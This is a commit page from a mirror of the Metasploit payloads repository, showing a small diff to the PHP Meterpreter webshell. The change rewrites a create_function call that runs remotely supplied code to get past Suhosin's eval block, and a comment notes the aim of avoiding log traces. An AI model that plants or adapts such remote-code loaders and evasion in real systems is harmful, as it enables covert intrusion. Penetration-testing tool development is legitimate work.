mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-22 03:19:04 +01:00
fix for php create_function errors
based on findings listed https://github.com/rapid7/metasploit-framework/issues/8858 it was identified that the php webshell was not working at all. Hence a fix to get it to work in both suhosin and non suhosin environment.
This commit is contained in:
parent
285a85c55d
commit
f5f594192b
@ -428,7 +428,8 @@ function core_loadlib($req, &$pkt) {
|
||||
# but since this function is deprecated since php 7.2+, we're not using it
|
||||
# when we can avoid it, since it might leave some traces in the log files.
|
||||
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
|
||||
create_function('', $data_tlv['value'])();
|
||||
$suhosin_bypass=create_function('', $data_tlv['value']);
|
||||
$suhosin_bypass();
|
||||
} else {
|
||||
eval($data_tlv['value']);
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user